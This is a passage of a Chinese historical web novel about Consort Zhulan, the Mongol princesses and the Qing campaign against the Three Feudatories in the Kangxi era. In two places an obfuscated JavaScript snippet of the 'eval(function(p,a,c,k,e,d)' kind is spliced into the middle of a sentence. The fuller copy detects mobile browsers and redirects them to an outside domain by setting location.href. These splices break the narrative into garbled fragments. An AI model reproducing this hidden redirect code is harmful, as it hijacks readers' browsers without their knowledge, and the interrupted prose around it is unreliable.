珠兰指挥着摆上宴席,菜式做得精致又不失分量:狍子肉炖酸菜是当地特色,奶豆腐做的蜜饯透着草原风味,还有江南运来的糟鸭舌、醉螃蟹,照顾着每个人的口味。 太皇太后看着满桌的菜,又看看眼前的孩子们——端敏英气勃勃,阿日娜苏沉稳干练,雅图虽静却眼里有光,阿图依旧娇俏,连病着的太后都让人送来了平安信,说能喝下半碗粥了。 戏班子在殿外开了场,先唱了出《庆丰年》,锣鼓声打得震天响。 端敏听得兴起,索性离席站到廊下,跟着鼓点比划起刀法,引得阿图拍手叫好:“这身手,比戏台上的武生还俊!” 阿日娜苏没跟着凑趣,拉着珠兰到偏厅说话:“后旗的台吉托我给皇后娘娘带句话,开春想派些牧民去糖工坊学手艺。” 她从怀里掏出个小账本,“这是他们愿意出的礼,我瞧着还算有诚意。” 珠兰接过账本,见上面记着牛羊、皮毛的数量,笑着点头:“让他们来吧,正好工坊缺人手。”她忽然想起什么,“对了,皇上托人送了些云锦来,给你们每人做件春装正好。” 正说着,太皇太后让人来叫她们:“别躲懒,快来看戏!这出《八仙贺寿》唱得好!” 两人回到殿里,见太皇太后正跟着戏文的调子轻轻点头,雅图在给她捶背,端敏和阿图凑在一堆抢蜜饯吃,烛火映着满殿的笑脸,连窗外的雪都像是暖的。 阿日娜苏觉得,这承德的除夕,比紫禁城的更有滋味。没有那么多规矩束缚,没有那么多算计提防,只有一大家子人围在一起,热热闹闹地守岁,就像寻常百姓家一样。 戏台上的锣声又响了起来,唱的是“太平年里人长寿”。 太皇太后的笑声混在戏文里,飘出暖阁,落在雪地里。 82. 效率低下 有时候吧,我单知道他们拖沓,却不晓得他们能拖成这样。珠兰没事的时候居多,就会想一些事情,比如封建朝廷这种存在,到底是干嘛用的。 系统:在社会生产大变革时期,是拖后腿用的。 康熙九年的春天来得张扬,承德离宫的柳枝抽出新绿,克鲁伦河的冰融成碎玉,顺着水流撞得石滩哗哗响。 珠兰站在高处的回廊,看着商队的马匹骡队从宫墙外走过,他们的车厢里,带着漠南的羊毛毯、羊绒衣和奶糖——这已是年后,内务府的商队第二次往返草原与中原了。 皇帝是在趁着皇后外出,清理珠兰留下的老人,把他们或外放,或调任前朝,可顺位上来的新人,也是珠兰的人啊。 内务府衙门里的大小事,还是按照珠兰拟定的节奏来,似乎不懈怠。 比如,冬天过去后,羊毛制品就不好卖了,所以一时片刻都耽误不得。 这条商路的走货人都格外辛苦些,风雪不归家,要赚今年第一桶金。 这里不仅是内库的收入,也有做事的包衣、监督的太监的奖金,甚至宫中福利的部分。大家都绷着劲儿干活,好能多分些。 川流不息的货物往来,带来了财富,也带来了消息。 可京里传来的消息,却像裹着残雪的风,透着股滞涩。 “还在议?”珠兰捏着康熙的信,眉头不由得蹙起,她实在是没想到啊,朝廷的效率这般低下。这已经超出了谋划的范围了,完全是无意义的拖延。 之前京中其他消息渠道就已经送了信,说了朝堂拖沓。但是能让越发有城府的皇帝都忍不住在信中与她诉说,那得到什么地步啊。 信里满是皇帝的火气:朝堂上,大臣们为了“先打吴三桂还是先平尚之信”吵了三天,又为“从湖南进兵还是江西”扯了两日,连“宣战诏书该用‘讨逆’还是‘靖乱’”都能争得面红耳赤。末了,康熙在信尾画了两个活灵活现的火盆,旁边写着“朕的眼睛快被这些人吵得冒火了”。 珠兰忍不住笑了,指尖划过那火盆的痕迹。 康熙吹嘘着只有自家亲戚们愿战请战,都嚷嚷着上前线。尤其提起了端敏那个袭爵的弟弟,就夸他写了半页纸。 南洋事后,简亲王被皇帝申饬导致忧惧而死。新任简亲王无功无才,哪里比得上端敏。 珠兰摇了摇头,从数据上看,端敏的这个弟弟就是个纨绔,还是个心眼不好的纨绔,若是上了前线,非得把皇帝气个好歹出来。 数据面板上,皇帝的健康值在下降,这次可不是她在搞鬼,纯粹哦是康熙自己造的。 大家都不听话,他可不得多耗费心神。 南边的赫舍里氏族人,连续来信给葛布喇,说了几次不要错过战机。 毕竟吴三桂大宴出事,年关时其他两藩意外,三藩内部都出了问题,无心备战,那一段时间都是极好的奇袭机会。 朝廷的兵马虽然已经在向南调派,但动作还是太慢,气的康熙连连拍桌子。 两家造船厂开足马力产大船,寿春麾下的翻云会船队,越发壮大。这会已把福建、广东沿海村落的百姓也送了大半去南洋,实在走不了的送去山中藏起来,或者干脆从走漕运偷渡到江苏去。 三藩治下的“人”,正悄无声息地“流”走,可朝堂上的“兵”,还在纸面上打“转”。 “娘娘,端敏公主派人送密信来了。”吉雅捧着个蜡封的竹筒进来,里面是端敏的字迹,笔锋凌厉如刀:“漠南各部已备妥粮草,三旗的甲士,随叫随到。”这是预备支援西北的,那边有个吴三桂的小弟在。 草原上虽然还没什么战争苗头,可端敏的动作却是极快的。这,才是军中应该具备的效率! 珠兰展开信纸,见端敏还画了张简易舆图,用红笔圈出西域与漠西的交界——那是下一步商路要通的地方。 “她倒利落。”珠兰笑着点头,端敏在草原上的行动,与京城形成了鲜明对比:上月说要整编漠南骑兵,这月就已练起来;前几日说要查禁准噶尔余孽,这会已押了三个头目送到承德,给足了开进西域的理由。 草原上的臣服,从不是靠嘴皮子。 阿日娜苏的商路铺到哪里,哪里的牧民就知道“跟着娘娘有粮吃”。背后是端敏的银枪在撑腰,不仅挑过准噶尔的帐篷,也挑过漠南各部不服管的台吉,震慑着漠北根基无损的几个部落。 如今漠南的王公见了端敏的仪仗,无不跪迎,这可不是远在京城的皇帝,口头尊敬一些就行,这是实打实吊在头顶的利剑啊,说句“指哪打哪”,半点不夸张。 “京里的还说,三藩那边也乱。”吉雅又递上份抄报。 珠兰看着抄报,翻云会的行动往往出人意料,看上去都弄得像是意外一般,寿春也是个妙人儿。 朝堂上还在纠结“情报真假”,可这些乱象,本身就是真的——三藩内部已不是铁板一块,接连意外导致上层根基松动,早已把他们的底气削去了大半。 “告诉端敏,让她先去漠北。”珠兰让吉雅提笔写回信,“商路的事比打仗急,稳住漠北,就断了某些人想联合喀尔喀的念想。” 然后,是给寿春的信。 她知道康熙的火气暂且发不出来,他为了大局定然压的住。 朝中扯皮完毕,真要动起手来,两方都不会手软。朝廷的兵如匪,三藩的兵一样如此。 寿春那边,还可以利用这点时间再转移一些百姓。 窗外的柳絮飘进廊下,沾在珠兰的袖口上。 她走出房间,望着远处端敏训练的骑兵,马蹄扬起新绿的草屑,生机勃勃。 比起京中,草原的阳光也总是更爽快。 虽说,朝堂有朝堂的规矩,草原有草原的章法。 只是眼下这光景,确实该让那些争论不休的大臣,来看看漠南的春天——看看端敏的骑兵如何列阵,看看阿日娜苏的商队如何穿梭,看看真正的“行政效率”,是长什么样的。 珠兰将信折好,塞进竹筒。 风从草原吹来,带着泥土和青草的气息,一路吹到江南,绿了水岸。 风卷着离宫之中的熏香,又从承德吹回克鲁伦河畔的盟会帐篷。 科尔沁三旗的台吉们分坐两侧,目光却不由自主地飘向主位——那里并排放着三张案几。 雅图与阿图公主坐在一处,代表着老牌势力。宣贵妃阿日娜苏独坐主桌,身后立着内务府的账房先生。固伦靖宁公主端敏的银枪斜倚在案边,枪尖映着日光,亮得人不敢直视。 太皇太后派来镇场子的苏麻喇姑坐在侧席,看着这三足鼎立的架势,眉头微微蹙起。 格格年纪越大,越固执了。草原之事,她原来在京中时,都是不管的。现在,也要为女儿外孙计了。 雅图公主刚开口说“今年的羊毛该按旧例分账”,阿日娜苏就翻开了账册:“旧例是王爷们抽九成利,此举将内务府放在何处。且若草原贵人们皆不顾惜牧民,导致牧民大量死亡,那年底的产量如何能供给京中所需。” 账册上的数字算得清清楚楚,牧民的流失率、织工的产出量、中原商队的收购价,一笔笔都戳在要害上。 雅图张了张嘴,想起太皇太后临行前的嘱咐“要护住博尔济吉特的体面”,却被阿日娜苏那句“王爷们若不让利,今年的茶砖就只能减半供应”堵了回去。 阿图公主想打圆场:“都是自家人,何必算这么细……” “账不明,人心就散。”阿日娜苏抬眼,目光扫过帐内,“去年准噶尔的所作所为,公主忘了?” 帐内,顿时安静下来。 谁都知道,宣贵妃这话不是威胁——她手里握着内务府的采买权,内库的丝绸、瓷器、茶砖,哪样不是草原贵族的心头好。 想多拿货,就得听她的规矩,让干活熟练的牧民别死太多,稳住那些最会干活的手艺人,让他们不要跑去别的部落。 僵持间,端敏忽然敲了敲案几,银枪在她指尖转了个圈:“漠西草场纠纷,查得怎么样了?” 科尔沁的台吉立刻起身:“是巴林部越界放牧!” 这话一出,雅图公主与阿图公主对视一眼,都有些不自在了。之前干跑了准噶尔,他们漠南参战各部与漠西小部落一起分了准噶尔的地盘。但是人皆有私心,摩擦是不可避免的。 巴林部的人刚要反驳,就被端敏冷冷一瞥:“三天前我让人打了界碑,立下之后,谁再越界,按军法处置。”她声音不大,却带着沙场威压,两边顿时噤声。 这就是端敏这位大将军公主的作用,平日里她从不管分账、采买的琐事,可一旦涉及流血冲突、破坏商路的大事,她的长刀银枪比任何道理都管用。 苏麻喇姑看着她利落镇场的样子,心里暗暗叹气——这旁支公主的威势,来源于己身武功之盛,草原人认这个,所以她的威望比雅图、阿图两位嫡出公主加起来还高。 散会后,雅图拉着阿图回到自己的帐篷,忍不住红了眼圈:“额娘总说,草原该是咱们的,可现在……” 阿图拍着她的背:“阿日娜苏靠着内务府,端敏握着兵权,可她们都待不久的。而且,若非她们在,今日就是部落中的男人来了,哪里能让咱们姐妹代表部落。” 她望着帐外,阿日娜苏正和牧民头领说话,手里拿着的新式纺车图纸,引得牧民们围着欢呼;远处的校场上,端敏的骑兵正在操练,马蹄声震得地面发颤。 部落中,丈夫过去虽然敬着她,却从未有这般俯首帖耳过。甚至女奴的帐篷,他都不敢去了。 阿图从未有一日这般清晰的认知到,自己是大清的公主,是君! 雅图的哽咽戛然而止,阿图丈夫儿子都在身边,可她呢,她可是只能依靠端敏,才能掌握丈夫留下的部落权势。 这些景象,都被苏麻喇姑写进了给太皇太后的密信里。 承德离宫的暖阁里,老太太捏着信纸,指节泛白。端敏在草原的根基扎得这么深——那些牧民提起“大将军公主”,比提起长生天还恭敬。 阿图的口信儿,也给太皇太后提了醒。在草原上,爱新觉罗的女儿和儿媳是一家的,她们不仅是竞争者,也是一荣俱荣的关系 “如何了?”太皇太后放下信,走到太后居所,问起情况。 病榻上的琪琪格刚能坐起,闻言虚弱地点头:“珠兰让人送来的新药,挺管用的。” 太皇太后点点头,坐下与太后说些闲话,说着说着,就说起了两个女儿,幼年时没少遭罪,少女时便嫁来草原,皇家公主又如何,何曾过几天舒心日子。 太后不知如何答话,求救一般看向珠兰。 珠兰在一旁,轻声道:“雅图和阿图公主同在草原,科尔沁与巴林部毗邻,凡事有商有量、守望相助,且端敏与阿日娜苏在侧,定然不会让她们受委屈的。” 太皇太后瞥了她一眼,没说话。 她何尝不知道珠兰的意思,只是心里就像堵了块石头。雅图与阿图,怎么就自己立不起来呢。 看着病弱的儿媳,看着低眉顺眼的孙媳,再想到远在京城、根本调不动的皇帝,她纵有不满,也只能按捺下去。 待了片刻,她便回转了。 “阿日娜苏总要回宫的。”回到暖阁,太皇太后对着烛火喃喃自语,像是在说服自己,“哪有妃嫔总在草原待着的?等她走了,采买权便能全部回到科尔沁手里。” 她又想起端敏:“那丫头年轻,现在觉得草原新鲜,等过个三年五载,必然想念京城的繁华,到时候……”可她不在草原上了,雅图与阿图的日子也未必有现在惬意。 她没见过阿日娜苏看着商路账本时眼里的光,没见过端敏在草原上纵马时的畅快,她们留在草原,从来不是因为谁的逼迫,而是这里有她们想要的东西——阿日娜苏寻的是自由,端敏要的是功勋。 草原的花香,终究与紫禁城不同。 太皇太后盼着她们回头,也不盼着。 病好以后,脑子转的快了,她也想过,有些人一旦在草原上扎了根,就再也不会向往中原的樊笼。 夜色漫进暖阁,烛火映着太皇太后鬓边的白发。 巨额利益让老太太也难以冷静自持,她是多么希望两个女儿能够主持草原大局,将商路握在手上,如此这般才是自己人做主,她才能放心。 老人还在盘算着“徐徐图之”,草原的三足鼎立早已稳固,科尔沁博尔济吉特氏垄断商路的旧日荣光,就像帐外的影子,也像曾经的晋商,正被新升的月亮,一点点拉长,变淡,变成背景板。 承德离宫的夏日总是来得悠长,珠兰坐在廊下翻着皇帝的信。 信里的字渐渐变了调,从前那些“卿鬓边的珠花该换夏款了”的絮语少了,多了些“户部尚书又在推诿军饷”“满汉大臣为了漕运粮道吵了半日”的牢骚。 “这些人,眼里只有自家的一亩三分地。还是朕自家人,才靠得住。”康熙在信里写道,墨迹都透着股火气,“朕让江南巡抚调粮,他说‘良善百姓愿意捐助军饷’,分明是他本乡大户的夏粮不征,专门叫泥腿子多缴,闹的险些民变;让八旗都统整兵,他说‘旗里的子弟都弓马熟练’,朕叫他们演练,居然还有不少拉不开弓的。” 京郊校场的春夏训早成了笑话,镶黄旗的子弟拉不开一石弓,正白旗的骑兵坠马比中箭还多,新任简亲王勒尔锦却在奏报里写“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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珠兰回信时,笔尖带着快意,“草原上的经验,吵到最后,总有人想明白,跟着最能给他们好处的人走。”她没说“这个人该是陛下”,可意思再明白不过。 太皇太后现在也不怎么看信了,她精神头还是欠缺。只是偶尔还会问起信件内容,珠兰就捡些“糖卖了多少”“端敏又猎了只熊”的说,老太太听着没趣,渐渐也就不问了。只有太后瞧着她偷笑的样子,打趣道:“你们小两口,倒有说不完的话。” “不过是说些家常。”珠兰笑着掩过。 皇帝从草原之事中悟出道理——要打破派系纷争,就得让所有人看见,“庙堂利”比“私利”更实在,“跟着皇帝”比“守着小团体”更划算。 翻云会寿春她们都觉得,等待平三藩已经等了太久,久到治下的百姓都快被她们搬空了,久到他们的底层军官大半都被渗透,与中层军官早已矛盾丛生。来信中也是抱怨,朝廷的动作怎么这么慢,再等下去咱们要在东南和平演变了。 皇帝的信又来了,这次只有一句话:“朕知道该怎么做了。你在承德,等着好消息。” 珠兰将信纸压在砚台下,窗外的阳光正好,照亮了案上摊开的草原舆图。 康熙九年的夏秋,像是被战火劈开的两半。 前半截,八旗的溃败给了康熙兜头一盆冷水。 朕只知道八旗战力在下降,哪里知道居然降到地下室去了。 直到简亲王带着溃败的残兵回到后方,甲胄上还沾着澧水的血污,才撕开了这层遮羞布——三万八旗兵被平西王麾下两千骑兵冲散,佐领带头逃窜,旗丁跪在江边哭嚎,连御赐的龙旗都成了叛军的战利品。 粘杆处的侍卫跪在冰凉的金砖上,甲胄上的汗渍混着血痕,在地上洇出深色的印子——他刚从前线回来,带来的不是捷报,是八旗军溃散的真相。 “勒尔锦说‘小败’,实则是三万八旗兵被吴三桂麾下步将的两千骑兵冲得溃不成军!”侍卫的声音嘶哑,带着血沫,“奴才亲眼看见,镶黄旗的佐领骑着马往后跑,嘴里喊着‘叛军有妖法’,把整支队伍的阵脚都冲垮了!” 殿内死寂,宗室王公们的脸在烛火下泛着青。葛布喇皱了皱眉,这样的消息应秘密报给皇上才是,怎么拿到这里来说了。他下意识看了看三弟索额图,此次海事衙门没捞到上前线的差事,只是在海上防备三藩的水师。 勒尔锦的奏报还摆在御案上,白纸黑字写着“小挫敌锋,我军无损”。 康熙猛地一拍御案,朱笔从指间滑落,在明黄奏折上拖出长长的红痕。这个勒尔锦,他兄长恰好病死,他才当了亲王,朕看在他是端敏兄长的份上,让他上前线立功,他竟然敢糊弄朕! 宗室老王爷磕着头,声音发颤:“陛下息怒,许是……许是这侍卫夸大其词,八旗子弟忠勇,断不会……” “断不会?”那侍卫猛地抬头,眼里血丝狰狞,“奴才带的三百亲兵,都是正蓝旗的死士,为了掩护勒尔锦撤退,死在澧水岸边,连尸首都被水冲走了!王公们坐在京里享福,怎知前线勒尔锦麾下的旗兵连弓都拉不开,马都骑不稳?他们忙着抢占叛军的钱粮,忙着把女子掳回营里,谁还记着‘忠勇’二字!勒尔锦,不配当简亲王,不配做固伦靖宁公主的兄弟。” 这话像一把刀,捅破了宗室们拼命捂住的脓疮。 康熙看着阶下那些或低头、或色变的亲贵,忽然想起开春时葛布喇的密奏:“八旗军户久居京师,子弟多染纨绔气,骑射荒废,恐难堪大任。”当时他还不敢信,如今才知,葛布喇所言已是留了情面。 “查!”康熙的声音冷得像冰,“把勒尔锦从荆州押回来!把所有谎报军情的将领,不论宗室还是旗人,一律锁拿!” “陛下,不能再等了。”明珠跪在一旁,声音带着急色,“调绿营南下吧。” 后方一言不发的索额图,眉心一跳。 调绿营,这三个字像针扎在康熙心头。 绿营是汉人兵,甘肃提督张勇的奏折刚到,说愿率两万绿营兵星夜南下;陕西的赵良栋也递了军报,称“愿提本部兵马,直捣四川”。 “他们要什么?”康熙盯着明珠,声音低沉。他太清楚了,绿营将领不会白出力。 “平叛后,绿营的饷银与八旗等同。”明珠顿了顿,“有功之臣,请抬入满洲旗。” 等同?抬旗! “准。”康熙闭了闭眼,再睁开时,眼底只剩冷硬,“传旨,命张勇为靖逆将军,率绿营兵入川;赵良栋为定西将军,直趋湖南;孙思克、王进宝协守西北,防止王辅臣异动。告诉他们,粮饷朕给,权柄朕给,但若是敢像勒尔锦那样误事……”他没说下去,可殿内的人都懂,那眼神里的杀意,比任何言语都更吓人。 旨意发出的那天,康熙独自在乾清宫坐了一夜。 珠兰美美的睡着觉,系统面板上好不容易加上去的【开明】属性,居然生生掉了下来。 她骤然睁开眼睛,看着自己的赔本买卖,就在一夜之间发生了。 系统:天命核心人物无法锁定属性值。 珠兰:…… 83. 八旗战力 康熙九年的夏末,京师的暑气还未散尽,乾清宫的鎏金铜炉里却燃着最烈的龙涎香,试图压下殿内的火药味。 朕只想到会有滥竽充数,却不曾料到第一个竟然是固伦靖宁公主端敏的兄弟。 “废物!”康熙将勒尔锦的自辩折子摔在地上,御案上的鎏金笔洗震得哐当响。 朕,是信错了人! 当初要是派端敏去南边,怎么会丢这么大的脸。 康熙转头叫梁九功记下,圣旨发往承德,令固伦靖宁公主随时注意陕西、山西、宁夏的情况。一旦战事不利,立即支援。 当初简亲王的位子,珠兰与他通信时也曾笑道,只有端敏这般功勋才能配上这等铁帽子亲王的尊荣,他那会儿还当是玩笑,而今看…… 勒尔锦,实在不配做固伦公主的兄弟! 此人是被连夜押送回京的,他趴在地上,抖得像筛糠,嘴里只敢重复“奴才罪该万死”。 大兄是被皇帝连翻南洋旧账,吓的身体虚弱加重,偏偏死在战争前夕,他作为无子兄长的胞弟,是赶鸭子上架当了这个简亲王,被迫带兵出征的。大家都觉得他的姐姐端敏能打,他定然也能打,可实际哪里是那么回事啊。 这位新任简亲王,也可以说是宗室顶着皇帝的压力扶上马的。宗女端敏的光芒太刺眼,让京中人心浮动,让他们本能的决意必须扶持其他男性继承人出来。 谁想到他还没到地方就各种找理由不走了,坐镇荆州一个月,坐拥八旗精锐,却不肯继续向前接战,连康熙亲派的催战使都被他以“水势太大”挡在城外。 更荒唐的是,他不敢出城,却纵容旗兵劫掠城中百姓,把人家的美貌女子捆回营中,闹得民怨沸腾,巡抚、总督接连写信回京诉苦。 若是只这一个碌碡也还罢了,几乎同时,岳州传来的消息更让康熙心寒。 豫亲王之子察尼率部围攻岳州三月,居然耗银数十万,却连叛军的护城河都没摸到。 难道他是用银子在砸敌人的脑袋不成,那砸也该把城门砸开了吧。 探子回报,察尼军中将领竟与对面的叛军暗通款曲,用军粮换金银珠宝,士兵饿得挖野菜,他们却在帐里听戏数钱。 几十万两银子还不够,他还敢贩卖军需! 真的是会做买卖啊,不送去南洋喂鲨鱼,都屈才! “庸懦无能!”康熙的朱批力透纸背,几乎要戳破奏折,“岳州不破,朕定斩尔祭旗!” 这都是宗室王爷们推荐的好人选啊,一个个的,丢人去了。 端敏在草原立功,是人家有能耐。这帮子老头们怎么就看不清,可不是随便一个爱新觉罗都是战神! 他此刻也想不起来,自己给珠兰写信时还吹嘘自家儿郎就是比别家的强。 好在宗室里并非全是烂泥,让康熙不至于气晕。 康亲王杰书在东南的捷报,像一道光刺破阴霾。 他带着镶红旗的旧部,从浙江出发打到福建,大溪滩一役,亲率精骑冲垮马九玉的防线,箭簇擦着脸颊飞过也不退缩;仙霞关天险,他亲自攀岩侦查,连夜架起浮桥,黎明时已杀进福建腹地。 安亲王岳乐在江西的表现更显老辣,他不争一城一地的得失,先派轻骑断了吴部与耿部的粮道,再以“归乡田亩”诱降叛军,一个月收复江西全境。 长沙对峙时,岳乐却在岳麓山设下伏兵,一把火将吴军的粮仓烧得精光,气得对面主将当场呕血。 “岳乐用兵,如老吏断案,步步扎实。”康熙对着江西舆图,终于露出点笑意。 三藩虽然频繁出事,但除了云南方,其余两方高中层军官并无损耗,真打起来也是够朝廷喝一壶的。 顺承郡王勒尔贝在西北也撑住了场面,王辅臣在陕西起兵叛乱时,他率八旗残部死守固原,绿营将领张勇与端敏公主援军未到时,他亲登城楼擂鼓,硬生生把叛军拖到了援军赶来。 显亲王富绶虽未上前线,却把京畿的粮饷调度得滴水不漏,杰书在福建缺粮时,他三天内就从漕运调来了三万石米,解了燃眉之急。这还得感谢一直在南边治水的河道衙门,他们不仅治水,还屯了粮草。 这后半截,绿营的锐进与宗室的冰火两重天,又让平叛的棋局在焦灼中透出转机。 两相对比,勒尔锦、察尼之流,占着铁帽子王的爵位,握着最精锐的八旗,却连绿营的千总都不如;杰书、岳乐这些人,虽然敛财成性,但也是平叛的脊梁。 康熙在乾清宫召开御前会议,将勒尔锦的罪证甩在宗室面前:“朕若饶了他,何以对澧水死难的旗丁?”当场下旨,削去勒尔锦简亲王爵,终身圈禁。察尼也被召回,夺了贝勒衔,贬为闲散宗室,永不录用。 紧接着,他看向阶下的绿营将领:“张勇、赵良栋听旨!” 甘肃提督张勇出列时,甲胄上还带着西北的沙尘;西宁总兵王进宝的手背上,伤疤纵横交错。“尔等率绿营南下,粮饷优先供给,军权自主调度!”康熙的声音掷地有声,“朕信你们!” 这话让满朝哗然,宗室王公的脸一阵红一阵白。八旗无人,要靠汉军了。 可当张勇率军入川,一个月收复保宁;赵良栋强攻重庆,身先士卒爬上城墙时,所有质疑都成了沉默。 秋分时,捷报从东南、中南、西北同时传来:杰书平定福建,岳乐兵临长沙,张勇围困王辅臣。 康熙站在乾清宫的丹陛上,望着南飞的雁阵,九年的秋天格外沉。 他赢了战场的转机,却看清了八旗的腐朽;倚重了绿营的战力,又忍不住忌惮他们的势力。 “传旨,晋杰书为征南大将军,岳乐为定远平寇大将军,赏双眼花翎。”他顿了顿,又道,“张勇、赵良栋,准其在军前便宜行事。” 旨意发出时,夕阳正染红宫墙。 明眼人都看得出来,皇帝既要用绿营的刀,也要防绿营的锋;既要保宗室的体面,也要剜宗室的腐肉。 窗外的秋虫叫得凄切,像在嘲笑他这个皇帝——要靠汉兵来保大清的江山,要向自己一直提防的力量低头。 一时间他居然庆幸起来,自己不曾将火器研发作为主攻方向。 汉军如此战力,若是再得了先进火器为助,后果不堪设想…… 他想起草原上的端敏,想起她麾下那些说弓马娴熟的骑兵,京里的这些宗室贵族,连漠南的台吉都不如,最起码人家听话啊。 风卷着落叶,吹进马车未关的窗。 在承德待的实在腻歪的太皇太后,终于肯出来转一圈了。 南边打的厉害,北边可不能乱,尤其是在端敏领旨带兵去了陕西的情况下,她老人家必须给草原看好了。 这个孩子劳累奔波之苦,老太太也是看在眼里,她沟通震慑了漠北,联络安抚了漠西,这才匆匆南下去了。 珠兰坐在太皇太后身边假寐,对于老太太的烦忧仿佛丝毫未觉。 自打到了草原,她就把自己当成背景板,不显山不露水不招人忌惮。 紫禁城中,康熙望着案上绿营将领的名单,张勇、赵良栋、孙思克……这些名字,他从前只在花名册上见过,现下要在功勋本上记录了。 “卿等忠心耿耿。”他低声对自己说,指尖划过“绿营”二字,“朕自然不会因满汉之别,而有所亏待。” 只是那夜的月光,照在他脸上,一半是帝王的决绝,一半是难以言说的恐惧。 大元朝的皇帝,也像朕这般难吗? 调绿营这步棋,走出去容易,收回来,难了。 福州城的临时帅帐里,烛火被穿堂风卷得直晃,映着案上摊开的舆图,密密麻麻的红圈蓝点标注着双方的布防。 康亲王杰书摘下头盔,银亮的发辫上还沾着仙霞关的尘土,他指着闽浙边境的标记,沉声道:“耿精忠的人比预想的能打,大溪滩那仗,马九玉的藤牌兵列阵时连炮子都打不透——显然是早有准备。” 坐在对面的张勇刚解下腰间的佩刀,刀鞘上的铜环“当啷”一声撞在案角。 这位绿营老将捻着花白的胡须,眉头拧成个疙瘩:“何止他们,王辅臣在陕西的叛军,连火器营的规制都改了,鸟铳射程比咱们的绿营兵还远。这哪里是仓促起事,分明是磨了多年的刀子。” 岳乐从江西赶来,带来的军报上满是朱批。 他指着湖南境内的空白处,语气里透着困惑:“我方的布防也早有预备,岳州的水军、长沙的粮道,都按预案布好了局。可怪事出在这些地方——”他指尖划过舆图上标注村落的小点,“从衢州到建宁,沿途的庄子全空了。别说壮丁,连只鸡都没留下,什么都征收不到,大军的补给比预想的难太多。” “我那边也是。”赵良栋刚从四川前线回来,甲胄上还带着蜀地的湿气,“从保宁到重庆,官道两旁的村子拆得干干净净,井被填了,粮仓被烧了,就像从来没人住过。想抓个向导都找不着,更别说搜刮粮草——咱们的后勤线,比预想的长了一倍。” 帐内忽然静了下来,只有烛火噼啪作响。 杰书想起自己率军过仙霞关时,山脚下的茅草屋破败,村落空无一人,灶台上蒙着厚厚的土,像是早就无主了。 张勇则记起在甘肃追击王辅臣残部时,路过的驿站里,驿卒的包袱还挂在墙上,人却没了踪影。 “土匪也没了。”岳乐忽然开口,声音有些发沉,“往年江西地界的山匪最是猖獗,这次进军,改装的斥候们出行,连个劫道的都没遇上。前几日派去侦查的兵丁回报,连最乱的武夷山,都清净得能听见鸟叫。” 赵良栋猛地一拍大腿:“只有县城!末将一路打下来,发现只有县城里还有人——守城门的、开铺子的、当官的,活得像模像样,可一打听乡下的事,他们都说不知道穷鬼去了哪里,反正土地他们占了,不怕没有佃农。” 杰书的手指在舆图上重重一点,点在几个县城的位置:“你们看,这些有人的县城,全在官道沿线,正好是咱们和叛军必经之地。”他忽然抬头,眼里闪过一丝明悟,“像是……有人提前把百姓都迁走了,只留下这些县城当幌子。” 张勇摸着下巴沉吟:“谁有这么大的本事?三藩之乱刚起,就能把千里之内的村落搬空?” “不管是谁,这手做得够绝。”杰书拿起案上的军令,语气变得凝重,“叛军想靠掳掠补充粮草,咱们想就地取食,现在全成了泡影。接下来的仗,只能拼后勤了。” 赵良栋站起身,按着刀柄:“末将这就传令下去,让各营节省粮草,加快进军速度。城里有人,正好逼他们交出存粮!” 帐外的风更紧了,吹得帅帐的帆布猎猎作响。 几位将领看着舆图上那些空白的村落,心里都透着股说不清道不明的寒意。 这场仗,从一开始就透着诡异——双方的军队严阵以待,像是在演一场早就编排好的戏,可台下的观众,却被人悄悄请走了。 只有那些孤零零立在官道上的大小城,像棋盘上的棋子,沉默地等待着大军过境。 昆明的雨下了整月,把平西王府的琉璃瓦浇得泛着冷光。 吴三桂的灵柩藏在密室里,棺木上的鎏金早已被潮气蚀得发暗,可云南的城门上,至今还挂着他的画像,每日里依旧有人对着画像三跪九叩。 各城的守将,都揣着明白装糊涂。 曲靖总兵攥着吴三桂夫人命人送出的平西王“遗诏”,其实那纸诏书上的字迹早就模糊;大理知府背地里用“复明”的大旗与一些人交易,转身却对清廷的密使说“愿献城归降”;最可笑的是楚雄守将,白天让士兵喊着“为平西王战”,夜里却派人给岳乐的军营送粮草,只求“将来能保个千户之职”。 他们各自为战,却又心照不宣。你不打我,我不攻你,只在清军逼近时象征性地放几炮。 岳乐的军队刚到长沙,昆明就传来“吴军主力驰援贵州”的消息,等清军转向贵州,昆明又说“粮草不济,需固守待援”。 城与城之间隔着瘴气弥漫的山谷,守将们靠着驿站传递的假消息,竟把清军拖了三个月。 或者说,清军其实也想拖着…… “其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232046|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实一推就倒。”建宁公主站在王府的箭楼上,望着远处紧闭的城门,对身边的侍卫冷笑。 吴三桂的夫人,如今正忙着给儿子抢名分。风雨飘摇了,还有心思内斗。 福建的耿精忠更像个被抽了线的木偶,自从杰书兵临福州,他就把自己关在王府里,对着父亲耿继茂的牌位哭哭啼啼。 部将马九玉在大溪滩战死的消息传来,他先是要“率军复仇”,披甲上马时却被母亲拽住:“你忘了尚可喜的下场?”转头就写了降书,可墨迹未干,又被儿子耿显祚骂“没骨气”,把降书撕了个粉碎。 他的军队成了散沙,泉州的兵想着回浙江老家,漳州的兵惦记着台湾的郑经能来援,只有几个老卒还守着福州城,却连火药库里的硫磺都被管事偷偷卖了换酒喝。 杰书的镶红旗军刚在城外放了三炮,西城门的守将就举了白旗,可东城门的兵还在射箭——他们根本不知道“自己人”已经降了。 广东的尚可喜父子则演着更荒唐的戏,尚可喜瘫在病榻上,嘴里只剩半颗牙,却还攥着平南王的印信,不许儿子尚之信碰。 尚之信大病未愈,上气不接下气的带着亲兵闯进内室,把印信抢了过来,转身就给康熙递了降表,转头又对平西王的使者说“愿共抗清军”。 他的军队一会儿穿着清军的甲胄,一会儿用着吴军的火器,打起来时连自己人都分不清敌我。 可就是这样的军队,竟也能跟八旗打得有来有回。 